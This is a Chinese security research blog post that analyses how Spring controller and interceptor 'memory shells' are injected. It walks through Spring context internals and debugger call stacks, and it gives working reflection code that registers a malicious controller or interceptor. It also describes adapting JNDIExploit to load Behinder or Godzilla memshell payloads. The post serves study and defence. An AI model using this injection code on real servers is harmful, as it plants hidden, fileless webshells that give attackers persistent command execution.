Java安全之Spring内存马
Java安全之Spring内存马
基础知识
Bean
bean
是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC
容器负责实例化、配置、组装和管理的对象。
通俗来讲:
- bean 是对象
- bean 被 IoC 容器管理
- Spring 应用主要是由一个个的 bean 构成的
ApplicationContext
Spring 框架中,BeanFactory
接口是 Spring
IoC容器 的实际代表者。
从下面的接口继承关系图
中可以看出,ApplicationContext
接口继承了 BeanFactory
接口,并通过继承其他接口进一步扩展了基本容器的功能。
因此,org.springframework.context.ApplicationContext
接口也代表了 IoC容器
,它负责实例化、定位、配置应用程序中的对象(bean
)及建立这些对象间(beans
)的依赖。
IoC容器
通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xml
、Java注解
或Java代码
来表示。
实现思路:
- 使用纯 java 代码来获得当前代码运行时的上下文环境(Conetxt);
- 使用纯 java 代码在上下文环境中手动注册一个 controller;
- controller中RequestMapping的方法中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;
ContextLoaderListener 与 DispatcherServlet
主要看一下ContextLoaderListener,DispatcherServlet在之前分析Thymeleaf的SSTI的时候就做了相关的分析
下面是一个典型 Spring 应用的 web.xml
配置示例:
<web-app xmlns:xsi="<a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<display-name>HelloSpringMVC</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
关于 Root Context
和 Child Context
的重要概念:
- Spring 应用中可以同时有多个
Context
,其中只有一个Root Context
,剩下的全是Child Context
- 所有
Child Context
都可以访问在Root Context
中定义的bean
,但是Root Context
无法访问Child Context
中定义的bean
- 所有的
Context
在创建后,都会被作为一个属性添加到了ServletContext
中
ContextLoaderListener
ContextLoaderListener
主要被用来初始化全局唯一的Root Context
,即 Root WebApplicationContext
。这个 Root WebApplicationContext
会和其他 Child Context
实例共享它的 IoC 容器
,供其他 Child Context
获取并使用容器中的 bean
。
回到 web.xml
中,其相关配置如下:
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
依照规范,当没有显式配置 ContextLoaderListener
的 contextConfigLocation
时,程序会自动寻找 /WEB-INF/applicationContext.xml
,作为配置文件,所以其实上面的 <context-param>
标签对其实完全可以去掉。
DispatcherServlet
初始化完成后,会创建一个普通的 Child Context
实例。
每个具体的 DispatcherServlet
创建的是一个 Child Context
,代表一个独立的 IoC 容器
;而 ContextLoaderListener
所创建的是一个 Root Context
,代表全局唯一的一个公共 IoC 容器
。
果要访问和操作 bean
,一般要获得当前代码执行环境的IoC 容器
代表者 ApplicationContext
。
Spring Controller内存马实现
获取Context
所有的Context
在创建后,都会被作为一个属性添加到了 ServletContext
中
LandGrey师傅文中给出了4种获取当前上下文的思路
第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
先来看第一种获取方式,这里Spring环境为5.2.3.RELEASE
,该版本下的并没有getCurrentWebApplicationContext
方法,找的是findWebApplicationContext
方法作为替代。
源码如下,可以看出WebApplicationContext
是DispatcherServlet
类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, request.getServletContext());
}
那么跟进DispatcherServlet
类中,WebApplicationContext
是在doService
方法中进行初始化的,doService
方法则是初始化一些全局属性之后进入doDispatch
方法处理Request
和Response
注册Controller
Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。
调试分析
代码如下,使用的su18师傅的思路,通过获取RequestMappingHandlerMapping父类的MappingRegistry属性并调用register方法来注册恶意的Controller
@Controller
public class AddControllerMemshell {
@RequestMapping(value = "/addcontroller")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{
final String controllerPath = "/zh1z3ven";
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
for (Method method : ms) {
if ("register".equals(method.getName())) {
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
}
在WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
代码处下断点跟进,首先是通过RequestContextHolder.currentRequestAttributes()
方法拿到Request
的封装类RequestFacade
对象
强转为ServletRequestAttributes
类型后调用getRequest
方法拿到当前的Request对象
之后作为参数进入到findWebApplicationContext
方法(Spring环境为5.2.3.RELEASE
,该版本下并没有getCurrentWebApplicationContext
方法,找的是findWebApplicationContext
方法作为替代)
findWebApplicationContext
方法源码如下,可以看出WebApplicationContext
是DispatcherServlet
类的属性WEB_APPLICATION_CONTEXT_ATTRIBUTE
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
if (webApplicationContext == null) {
if (servletContext != null) {
webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
}
if (webApplicationContext == null) {
webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
}
}
return webApplicationContext;
}
@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
return findWebApplicationContext(request, request.getServletContext());
}
0x01 获取上下文
那么跟进DispatcherServlet
类中,WebApplicationContext
是在doService
方法中进行初始化的,doService
方法则是初始化一些全局属性之后进入doDispatch
方法处理Request
和Response
回头看findWebApplicationContext
方法,获取到的是一个XmlWebApplicationContext
实例类型的 Root WebApplicationContext
0x02 获取RequestMappingHandlerMapping
关于RequestMappingHandlerMapping
RequestMappingHandlerMapping的作用是在容器启动后将系统中所有控制器方法的请求条件(RequestMappingInfo)和控制器方法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping Bean的内存中,待接口请求系统的时候根据请求条件和内存中存储的系统接口信息比对,再执行对应的控制器方法。
直白一点讲就是处理Controller中在存在@RequestMapping注解的方法,当我们访问该注解中的值对应的url时,请求会进入相应的方法处理,而RequestMappingHandlerMapping类就是做的绑定@RequestMapping注解与相应Method之间的映射
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
最终进入DefaultListableBeanFactory#getBean方法,之后通过走resolveBean逻辑获取并return RequestMappingHandlerMapping实例对象
主要逻辑还是在DefaultListableBeanFactory#resolveNamedBean方法中,先是传入requiredType.toClass()
、beanName
、args
,走进getBean方法逻辑去获取 RequestMappingHandlerMapping
的实例化对象
getBean方法中单步调试过程有些多,就不贴图了,调用栈如下:
doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:1126, AbstractApplicationContext (org.springframework.context.support)
最终调用getSingleton方法获取到了 RequestMappingHandlerMapping 的实例对象
之后new 了一个 NamedBeanHolder 将RequestMappingHandlerMapping
对象与beanName
一起作为的属性保存在NamedBeanHolder中
后续通过该对象的getBeanInstance方法获取到RequestMappingHandlerMapping并返回出来,至此也就拿到了RequestMappingHandlerMapping对象
0x03 反射获取mappingRegistry属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
该属性为AbstractHandlerMethodMapping的内置类MappingRegistry对象,其中包含了regiester方法,后续添加contorller也是通过此方法
0x04 MappingRegistry#register
这里大致为两步,首先是构造RequestMappingInfo,其中包含了我们注册时需要的一些属性,其次是反射调用MappingRegistry#register方法将恶意的Controller给注册进去
因为是通过MappingRegistry#register方法注册Controller,我们简单来看一下一个正常的Controller是如何在代码中绑定@RequestMapping注解和对应Method方法的。
因为整个过程调用栈比较长,如果想从初始化开始一直到register方法会贴很多图,感兴趣的师傅可以根据su18师傅以及这篇文章去调试,相关调用栈如下
register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)
这里直接来看AbstractHandlerMethodMapping#processCandidateBean方法
先通过if中的isHandler方法判断当前的beanType是否含有@Controller或者@RquestMapping注解
跟入detectHandlerMethods,首先获取handler的class对象,之后在lambda表达式中通过调用createRequestMappingInfo方法根据注解创建RequestMappingInfo对象,之后调用forEach循环遍历前面筛选出的method并调用registerHandlerMethod方法创建method与mapping之间的映射
而registerHandlerMethod方法最终是调用的MappingRegistry#register方法
register方法源码如下
public void register(T mapping, Object handler, Method method) {
if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
} else {
this.readWriteLock.writeLock().lock();
try {
HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
this.validateMethodMapping(handlerMethod, mapping);
this.mappingLookup.put(mapping, handlerMethod);
List<String> directUrls = this.getDirectUrls(mapping);
Iterator var6 = directUrls.iterator();
while(var6.hasNext()) {
String url = (String)var6.next();
this.urlLookup.add(url, mapping);
}
String name = null;
if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}
CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
this.corsLookup.put(handlerMethod, corsConfig);
}
this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name));
} finally {
this.readWriteLock.writeLock().unlock();
}
}
}
register方法主要做的就是绑定method与mapping之间的映射
比如mappingLookup属性存储了mapping与handler method的映射关系
而在urlLookup中存储了url与mapping的映射关系
以及在registry中,存储了mapping与MappingRegistration对象的映射关系。
综上,在注册Controller时大致需要用到的具体的属性如下。
所以整个Spring Controller内存马注册的过程大致如下:
获取Context ==> 获取RequestMappingHandlerMapping ==> 获取MappingRegistry属性 ==> 构造RequestMappingInf(url,RequestMethodsRequestCondition ==> 调用MappingRegistry#register方法注册Controller
Spring Interceptor内存马实现
定义拦截器必须实现HandlerInterceptor接口,HandlerInterceptor接口中有三个方法:
- preHandle方法是controller方法执行前拦截的方法
return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。
return false不放行,不会执行controller中的方法。 - postHandle是controller方法执行后执行的方法,在JSP视图执行前。
可以使用request或者response跳转到指定的页面
如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。 - afterCompletion方法是在JSP执行后执行
request或者response不能再跳转页面了
拦截器就不再多说了,而关于拦截器的初始化与注册,其实在之前分析doDispatch方法文章里就有涉及到一点,这次深入跟一下。
断点直接打在DispatcherServlet#doDispatch方法,F9跳入getHandler方法中
该方法对HandlerMapping进行遍历,当某个HandlerMapping调用getHandler的返回结果HandlerExecutionChain对象不为null时,则将此HandlerExecutionChain对象return出去。
往下跟而其中mapping对象调用的getHandler方法为AbstractHandlerMapping#getHandler方法,而HandlerExecutionChain镀锡是通过调用getHandlerExecutionChain获取到的
继续跟进getHandlerExecutionChain方法,最终通过HandlerExecutionChain#addInterceptor方法添加的拦截器Interceptor
观察下面addInterceptor源码可发现,目前只要构造好一个实现HandlerInterceptor恶意Interceptor即可。
public void addInterceptor(HandlerInterceptor interceptor) {
this.initInterceptorList().add(interceptor);
}
那后续就是观察Interceptor是在哪里固定调用的哪一个方法,就类似于Tomcat中Filter的doFileter方法一样。
其实重点就是获取ApplicationContext
和requestMappingHandlerMapping
的adaptedInterceptors
属性,拿到adaptedInterceptors
属性后调add方法把我们恶意的拦截器添加进去即可。
看一下网上多数文章用到的注入拦截器的代码,copy自su18师傅,add
方法中那一串就是base64编码后的class文件的bytes数组,主要看思路。
大致是通过:
0x01: RequestContextUtils.findWebApplicationContext
获取Context
0x02: context.getBean(RequestMappingHandlerMapping.class)
获取RequestMappingHandlerMapping
0x03: 反射获取adaptedInterceptors
属性
0x04: list.add(HandlerInterceptor)
添加Interceptor
@Controller
public class AddInterceptorMemshell {
@RequestMapping(value = "/addinterceptor")
public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
response.getWriter().println("interceptor added");
}
}
剩下的就不测试了,类似于Controller,下面看下改JNDIExploit时遇到的小问题
改造JNDIExploit
feihong师傅的JNDIExploit项目中获取ApplicationContext思路如下:
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
field.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();
而我在测试5.2.3的Spring时会抛出如下异常
[+] Add Dynamic Interceptor
java.util.NoSuchElementException
at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721)
at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)
暂时没找到原因,所以在改JNDIExploit时也是用的第一种获取Context的思路,重新拿反射写了一遍,大致代码如下(只测试了5.2.3版本Spring通过)
// 0x01 获取Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);
// Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null);
Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");
Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes));
// 0x02 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 0x03 获取adaptedInterceptors并添加Interceptor
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());
那么剩下的就是将Behinder3或者Godzilla4的Memshell base64字段替换一下即可。
Behinder3 Memshell
Godzilla4 Memshell
Reference
https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://su18.org/post/memory-shell/
https://myzxcg.com/2021/11/Spring-内存马实现/
https://f5.pm/go-83042.html
Java安全之Spring内存马的更多相关文章
- 利用Fastjson注入Spring内存马
此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...
- Java安全之Weblogic内存马
Java安全之Weblogic内存马 0x00 前言 发现网上大部分大部分weblogic工具都是基于RMI绑定实例回显,但这种方式有个弊端,在Weblogic JNDI树里面能将打入的RMI后门查看 ...
- Java安全之Resin2内存马
Java安全之Resin2内存马 环境 resin2.1.17 添加Filter分析 依然是web.xml注册一个filter,debug进去看注册流程 debug dofilter逻辑时看到如下代码 ...
- 针对spring mvc的controller内存马-学习和实验
1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...
- 针对Spring MVC的Interceptor内存马
针对Spring MVC的Interceptor内存马 目录 针对Spring MVC的Interceptor内存马 1 基础拦截器和调用流程的探索 1.1 基础拦截器 1.2 探索拦截器的调用链 1 ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java安全之反序列化回显与内存马
Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...
- Java安全之基于Tomcat实现内存马
Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...
- 简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...
随机推荐
- 【dva】如何监听异步请求是否完成(页面loading)
方案1.你可以在model里面操作 在model里面的state里面声明一个变量state,默认是false,effect函数执行开始就将其改为true,然后等call()然后结束后又将其改为fals ...
- A New Discrete Particle Swarm Optimization Algorithm
题目:一种新的离散粒子群优化算法 中文摘要 粒子群优化算法在许多优化问题上表现得非常好.粒子群优化算法的缺点之一是假设算法中的变量为连续变量.本文提出一个新的粒子群优化算法,能够优化离散变量.这个新算 ...
- [BUUCTF]PWN——pwnable_orw
pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的 ...
- LuoguB2001 入门测试题目 题解
Update \(\texttt{2021.7.3}\) 经测试,本题 \(a,b\) 范围在 long long,对代码进行了修改,并修改一些笔误,更新了数据范围. \(\texttt{2021.7 ...
- java 数据类型:集合接口Collection之 Stream 的reduce方法
Stream 的reduce递归计算 import java.util.ArrayList; import java.util.Arrays; import java.util.List; impor ...
- 四、Uniapp+vue+腾讯IM+腾讯音视频开发仿微信的IM聊天APP,支持各类消息收发,音视频通话,附vue实现源码(已开源)-会话好友列表的实现
会话好友列表的实现 1.项目引言 2.腾讯云后台配置TXIM 3.配置项目并实现IM登录 4.会话好友列表的实现 5.聊天输入框的实现 6.聊天界面容器的实现 7.聊天消息项的实现 8.聊天输入框扩展 ...
- Linux C(++)获取可执行程序完整路径
代码 #include <sys/statfs.h> #include <string> #include <iostream> #include <limi ...
- A. Lorenzo Von Matterhorn
A. Lorenzo Von Matterhorn time limit per test 1 second memory limit per test 256 megabytes input sta ...
- Problem 2233 ~APTX4869
Problem 2233 ~APTX4869 Accept: 55 Submit: 176Time Limit: 1000 mSec Memory Limit : 32768 KB Pro ...
- Mysql客户端的安装
Mysql数据库(简称)属于C/S架构,正常工作中一般都会提供服务端,我们只需要安装客户端进行查询修改数据等操作即可. 正常工作中不管是测试人员或者开发人员,一般数据库的管理员(测试负责人或者开发负责 ...